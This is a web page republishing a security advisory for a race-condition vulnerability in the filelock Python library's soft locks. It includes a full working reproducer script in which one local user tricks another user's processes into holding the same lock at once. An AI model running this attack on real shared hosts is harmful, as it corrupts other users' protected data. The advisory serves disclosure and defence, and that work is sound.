
Loading

Loading
We use strictly necessary cookies to run this site, and analytics cookies to understand how it's used. See our Privacy Policy for details.
A GitHub-reviewed security advisory, not necessarily under active exploitation the way our CISA KEV advisories are, but a real, disclosed vulnerability in an open-source dependency.
Affected packages
Vulnerable: >= 4.1.0, <= 4.2.0
Patched in 4.2.1
Details
SoftFileLock and MarkerSoftFileLock evict an unparsable marker (the lock file at <path>, whose presence says a process holds the lock) once a waiting contender has watched it unchanged for two seconds. SoftFileLease expires a lease the same way. The watch tells two looks apart by the marker's modification time (mtime) and inode number (the kernel's identity for a file, independent of its name) alone.
Another local user (the other user below) who can create files in the lock's directory, a sticky /tmp included (the sticky bit is a directory flag that lets only a file's owner remove it), parks an empty file of its own at the lock path. It dates that file to a future tick of the kernel's coarse clock (a clock that advances in steps of 4 ms), lets the waiters of the user running the lock (the lock user below) watch it past two seconds, and unlinks it in that tick. On a filesystem that hands a freed inode number straight back (ext4, overlayfs on ext4) the lock user's next marker repeats both values. It inherits the time spent watching the other user's file, and a second waiter removes it while its owner holds the lock.
Two of the lock user's processes then run the critical section together with no error. A SoftFileLease waiter takes a live lease that its owner wrote moments before, within milliseconds instead of after lease_duration. Affected versions: filelock >= 4.1.0 and <= 4.2.0 (finding ANT-2026-RKC48J5B).
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N, 4.7 (Medium).
AV:L (local): the other user needs an account on the same host. AC:H (high attack complexity): a race the other user cannot steer. It needs ext4-style inode reuse, a coarse-clock timestamp tick the other user can predict, and two polls of the lock user inside a 4 ms tick and a ~75 µs create-to-write gap. The scanner measured 2 to 10 % of attempts; none of our own 250 attempts fired. PR:L (low privileges): an unprivileged account is enough. UI:N (no user interaction): the lock user's processes act on their own. C:N (no confidentiality impact): the other user reads nothing. I:H (high integrity impact): two holders write the data the lock protects, and neither learns of the other. A:N (no availability impact): the lock keeps working.
Classification from the review: security, conditional, by mechanism. It is the same cross-UID primitive (a UID is a user account's numeric id) as the stale-break inode-reuse race reported in a separate advisory: an inode number reused after the other user's unlink in a sticky directory, which our review reproduced across UIDs, plus a forged future mtime. The scanner rated it high (CWE-694) and demonstrated it across UIDs in its own runs. It did not fire in 250 attempts of ours over ext4 with inode reuse confirmed, nor in the scanner-side triage, so its cross-user claim rests on the report's own runs and on the mechanism.
1777 directory is enough. It creates, utimes (sets the timestamps of) and unlinks only its own file. In the sticky directory its unlink, rename, open(..., "w") and utime on a marker of the lock user all fail, and deleting its own file only frees the lock.CLOCK_REALTIME_COARSE, 4 ms steps on Linux 6.1; 20,000 file creations all carried that clock's value).lease_duration).fs.protected_* sysctls (Linux settings that restrict following links and opening pipes in sticky world-writable directories) play no part. StrictSoftFileLock keys its watch the same way but only raises SoftFileLockProtocolError, so it breaks no lock there.filelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.
At the scanned commit b831496, the watch is SoftFileLock._marker_unchanged_for, with its caller in _try_break_stale_lock. The MarkerSoftFileLock and SoftFileLease paths hand an unparsable marker to the same code. The re-check in break_lock_file compares the values the contender just read.
0f7c4d3794dc ("fix(soft): expire leases on the contender's clock", #796, 2026-10-07), first released in 4.1.0 (verified against the tags). Earlier releases compared the marker's mtime with the wall clock, and this does not affect them.
SoftFileLock._acquire creates the marker with O_CREAT | O_EXCL (create the file, fail if it exists) and only then writes the holder record. In between it calls fstat and uname, stats /proc/self/ns/pid and reads /proc/<pid>/stat, so for about 75 µs (measured) the marker exists and is empty. A contender that polls in that gap must not take the marker for garbage, and the check that protects it is the two-second watch. _try_break_stale_lock reads the marker, finds no holder, and calls break_lock_file(lock_file, mtime, ino) only if _marker_unchanged_for(mtime, ino) reaches MALFORMED_LOCK_AGE_THRESHOLD (2.0 s). That function keeps self._marker_seen = ((mtime, ino), first seen) across polls and returns the elapsed monotonic time (time from a clock that only moves forward) while the pair repeats.
Neither half of the pair belongs to one file. A file's owner sets its mtime to any value with utime, a future time included, and ext4 gives the inode number of an unlinked file to the next file created in the directory.
I) and sets its mtime to T, a tick of the coarse clock about 2.2 s in the future._marker_seen = ((T, I), first seen). After 2 s each poll calls break_lock_file, whose rename fails with EPERM (operation not permitted; seen with strace): the directory is sticky and the file belongs to the other user. suppress(OSError, ...) swallows the error, the file stays, and nothing resets _marker_seen.T, the other user unlinks its file. Inode I is free.T. Its O_EXCL create succeeds, and its marker is inode I with mtime T.(T, I), _marker_unchanged_for returns the 2.2 s that S spent watching the other user's file, and S calls break_lock_file(lock_file, T, I).break_lock_file compares mtime and inode before and after its rename, but with the values S just read from F's marker, so both checks pass. F's marker has S's UID, so the rename and the unlink succeed.acquire(). The path is empty, so the next contender to poll creates a marker and returns from acquire() too. F's release finds another inode at the path (_unlink_open_marker) and leaves it. Neither holder learns anything.Step 4 needs a poll inside one 4 ms tick, and step 5 a second poll inside F's 75 µs gap. Step 5 is far likelier than independent 50 ms timers would make it, because contenders that wait together bunch. With filelock's DEBUG messages timestamped, nine waiters polled within 2 to 3 ms of one another, several 0.1 ms apart or closer. In a run where the other user also recorded what replaced its file, 13 of 100 successors appeared in tick T, and a waiter broke 7 of those 13.
MarkerSoftFileLock and SoftFileLease hand an unparsable marker to the same code, and the lease uses the clock a second time, for expiry: if owner.mode == "lease" and self._marker_unchanged_for(mtime, ino) >= self._lease_duration: break_lock_file(...). _marker_seen is one attribute, so the same empty file primes this branch, and step 5 has no gap to hit. To every waiter, F's complete lease record with pair (T, I) has gone unrefreshed for lease_duration, until F's first heartbeat (the periodic refresh a lease holder runs). With the lock user's processes using SoftFileLease(path, lease_duration=2) and holding for 1 s, the same other user produced an overlap in 17 of 30 attempts. The superseded holder's on_compromise (the callback that tells a holder it lost the lock) reported owner-changed 0.67 s after it had entered, at its first heartbeat; a holder that releases before that is not told at all.
The scanner's reproducer for finding ANT-2026-RKC48J5B, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The repro script drives the files under repro.d/.
repro
#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys
import time
LOCK_DIR = "/tmp/locks"
LOCK_PATH = "/tmp/locks/app.lock"
HOLDS_LOG = "/tmp/holds.log"
def start_victims():
# a root-owned sticky directory like /tmp, and ten processes of user victim taking turns on one lock in it
shutil.rmtree(LOCK_DIR, ignore_errors=True)
os.mkdir(LOCK_DIR)
os.chmod(LOCK_DIR, 0o1777)
victim = [sys.executable, "/tmp/repro.d/victim.py", LOCK_PATH]
with open(HOLDS_LOG, "w") as holds_log:
return [
subprocess.Popen(victim, stdout=holds_log, user="victim", group="victim", extra_groups=[])
for _ in range(10)
]
def holds_entered_after(moment):
holds = []
for line in open(HOLDS_LOG):
fields = dict(field.split("=") for field in line.split())
hold = {"entered": float(fields["entered"]), "exited": float(fields["exited"]), "line": line.strip()}
if hold["entered"] > moment:
holds.append(hold)
return sorted(holds, key=lambda hold: hold["entered"])
def attack_until_overlap(phase, date_offset_s, max_attempts):
victims = start_victims()
attacker = [sys.executable, "/tmp/repro.d/attacker.py", LOCK_PATH, str(date_offset_s)]
for attempt in range(1, max_attempts + 1):
run = subprocess.run(attacker, stdout=subprocess.PIPE, text=True, check=True,
user="attacker", group="attacker", extra_groups=[])
print(f"{phase} attempt {attempt}: {run.stdout.strip()}", flush=True)
unlinked_at = float(run.stdout.split("unlinked_at=")[1])
time.sleep(0.4) # a hold lasts 0.3 s: whoever entered after the unlink has logged it by now
# A hold entered within 1 ms of the unlink can also come from a separate flaw in break_lock_file (see the
# report), so those are left out. time.monotonic() is one clock for every process on the machine.
holds = holds_entered_after(unlinked_at + 0.001)
overlaps = [(first, second) for first, second in zip(holds, holds[1:])
if second["entered"] < first["exited"]]
if overlaps:
break
for victim in victims:
victim.kill()
victim.wait()
return overlaps
# control: the attacker's file is dated an hour after the tick in which it is unlinked
control = attack_until_overlap("CONTROL", date_offset_s=3600, max_attempts=20)
# attack: the same file dated at that tick, i.e. with the mtime a victim's marker created in that tick gets
observed = attack_until_overlap("OBSERVED", date_offset_s=0, max_attempts=250)
# check: no two victims may ever be inside the lock at once
for phase, overlaps in [("CONTROL", control), ("OBSERVED", observed)]:
print(f"{phase}: {len(overlaps)} time(s) two victims inside the lock at once")
for first, second in overlaps:
print(f"{phase}: {first['line']}")
print(f"{phase}: {second['line']}")
print("BUG" if observed and not control else "OK")
repro.d/attacker.py
#!/usr/bin/env python3
import os
import random
import sys
import time
lock_path, date_offset_s = sys.argv[1], int(sys.argv[2])
CLOCK_REALTIME_COARSE = 5 # <linux/time.h>; the kernel stamps new files from it, and it moves once per timer tick
tick_ns = round(time.clock_getres(CLOCK_REALTIME_COARSE) * 1e9)
# take the lock path the moment it is free, like any contender
while True:
try:
fd = os.open(lock_path, os.O_CREAT | os.O_EXCL | os.O_WRONLY, 0o644)
break
except FileExistsError:
time.sleep(0.002)
# Left empty for longer than the 2 s filelock gives an unparsable marker. The victims poll every 50 ms: the random
# part makes some attempts free the path just before one of their polls.
park_s = random.uniform(2.2, 2.25)
release_tick = time.clock_gettime_ns(CLOCK_REALTIME_COARSE) + round(park_s * 1e9 / tick_ns) * tick_ns
mtime_ns = release_tick + date_offset_s * 10**9
os.utime(fd, ns=(mtime_ns, mtime_ns))
inode = os.fstat(fd).st_ino
os.close(fd)
time.sleep(park_s - 0.05)
while time.clock_gettime_ns(CLOCK_REALTIME_COARSE) < release_tick:
pass
os.unlink(lock_path) # a marker created before the next tick gets mtime == release_tick and, on ext4, this inode
unlinked_at = time.monotonic()
time.sleep(0.1) # exiting right away keeps a CPU busy during the victims' polls, and overlaps get much rarer
print(f"inode={inode} mtime_ns={mtime_ns} unlinked_in_tick={release_tick} unlinked_at={unlinked_at}")
repro.d/victim.py
#!/usr/bin/env python3
import os
import sys
import time
from filelock import SoftFileLock
lock = SoftFileLock(sys.argv[1])
while True:
with lock:
entered = time.monotonic()
time.sleep(0.3) # work on whatever the lock protects
print(f"pid={os.getpid()} entered={entered} exited={time.monotonic()} is_locked={lock.is_locked}", flush=True)
time.sleep(0.05)
sequenceDiagram
participant X as other local user
participant P as lock path (sticky dir, ext4, 4 ms clock ticks)
participant S as process S of the lock user (waiting)
participant F as process F of the lock user
X->>P: create empty file, inode I, utime to future tick T
S->>P: poll: empty file, key (T, I), watch starts
Note over S: after 2 s each poll calls break_lock_file, rename gets EPERM, error swallowed, watch keeps counting
rect rgb(255, 214, 214)
X->>P: at tick T: unlink own file, I is free
F->>P: O_EXCL create in tick T: inode I, mtime T, record not yet written
S->>P: poll: empty file, key (T, I) seen for 2.2 s: break_lock_file(T, I) renames and unlinks F's marker
F->>P: writes record into the unlinked inode, acquire() returns
Note over S,F: the path is empty, the next contender creates a marker: two holders, no error
end
The scanner's reproducer runs ten copies of a default-option SoftFileLock program (0.3 s of work per hold, 50 ms between holds) as user victim in a root-owned 1777 directory on overlayfs over ext4 (Linux 6.1, CPython 3.14). A program running as user attacker waits until the lock path is free, creates an empty file there, dates it to a coarse-clock tick 2.2 to 2.25 s ahead, and unlinks it when CLOCK_REALTIME_COARSE reaches that tick. Control attempts date the file an hour after the unlink tick (20 attempts, 0 overlaps); the other attempts date it at that tick.
In four runs the overlap came after 9, 12, 27 and 20 attempts. Each showed the hold lines of two victim processes overlapping in time with is_locked=True, for example pid=217 entered=241.295272609 exited=241.59542327 and pid=216 entered=241.295518489 exited=241.595641553. 40 of 650 attempts over seven runs ended this way, none with the file dated 4 ms earlier (100 attempts) or an hour later (150). A stepped run (one process stalled 0.2 s between creating its marker and writing its record, one waiting contender) deleted the fresh marker in 3 of 3 trials with the matching date and 0 of 5 with other dates.
Our review ran the reproducer over a loop-mounted ext4 /tmp (the host's btrfs does not hand a freed number back) with inode reuse confirmed (inode 18 reused on every attempt, --cpus 2). 0 of 250 attempts fired on 4.2.0 in 802 s, as in the scanner-side triage, and 0 of 250 on the head of #843, so our run gives no evidence either way. The review confirmed that utime cannot set the file's change time. The classification follows from the cross-UID inode-reuse primitive verified in the stale-break race of the separate advisory and from the report's own runs.
A local user who can create a file in a soft lock's directory, a sticky directory such as /tmp included, gets two processes of another user to hold the same SoftFileLock at once (MarkerSoftFileLock too, by the shared code). Neither process learns of the overlap, so both modify the data the lock protects. The other user has no simpler way to get this: in the sticky directory its unlink, rename, open(..., "w") and utime on a marker of the lock user all fail, and deleting its own file only frees the lock. For SoftFileLease the effect is a live, refreshed claim taken after milliseconds instead of after lease_duration without a refresh. The holder learns of it one heartbeat later, or not at all if it releases first. Not affected: releases before 4.1.0, filesystems that do not reuse inode numbers at once (tmpfs, btrfs), and a lock with a single contender.
Keep soft locks in a directory other users cannot create files in (a 0700 directory of the lock's user) rather than a shared sticky directory, or put the lock directory on tmpfs, which does not reuse inode numbers. Where the native FileLock works (local ext4 with flock), prefer it over SoftFileLock. Raise poll_interval so fewer waiters bunch inside one clock tick; this lowers the hit rate but does not close the window.
4.2.1.
Fix: https://github.com/tox-dev/filelock/pull/843
Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.
ANT-2026-RKC48J5B, scanned commit b831496b0273)EPSS, exploit probability
Low0.21%
estimated chance of real-world exploitation in the next 30 days, higher than 10.0% of every CVE FIRST.org scores
Refreshed 10/23/2026, via FIRST.org's EPSS model, not CVSS, this measures likelihood of exploitation, not how severe it would be.
Talk to us about this
Find out whether this dependency (or others like it) is actually reachable in your codebase.
Get help patching, or building dependency-scanning into your pipeline going forward.
A secure code review or supply chain review finds this before an advisory does.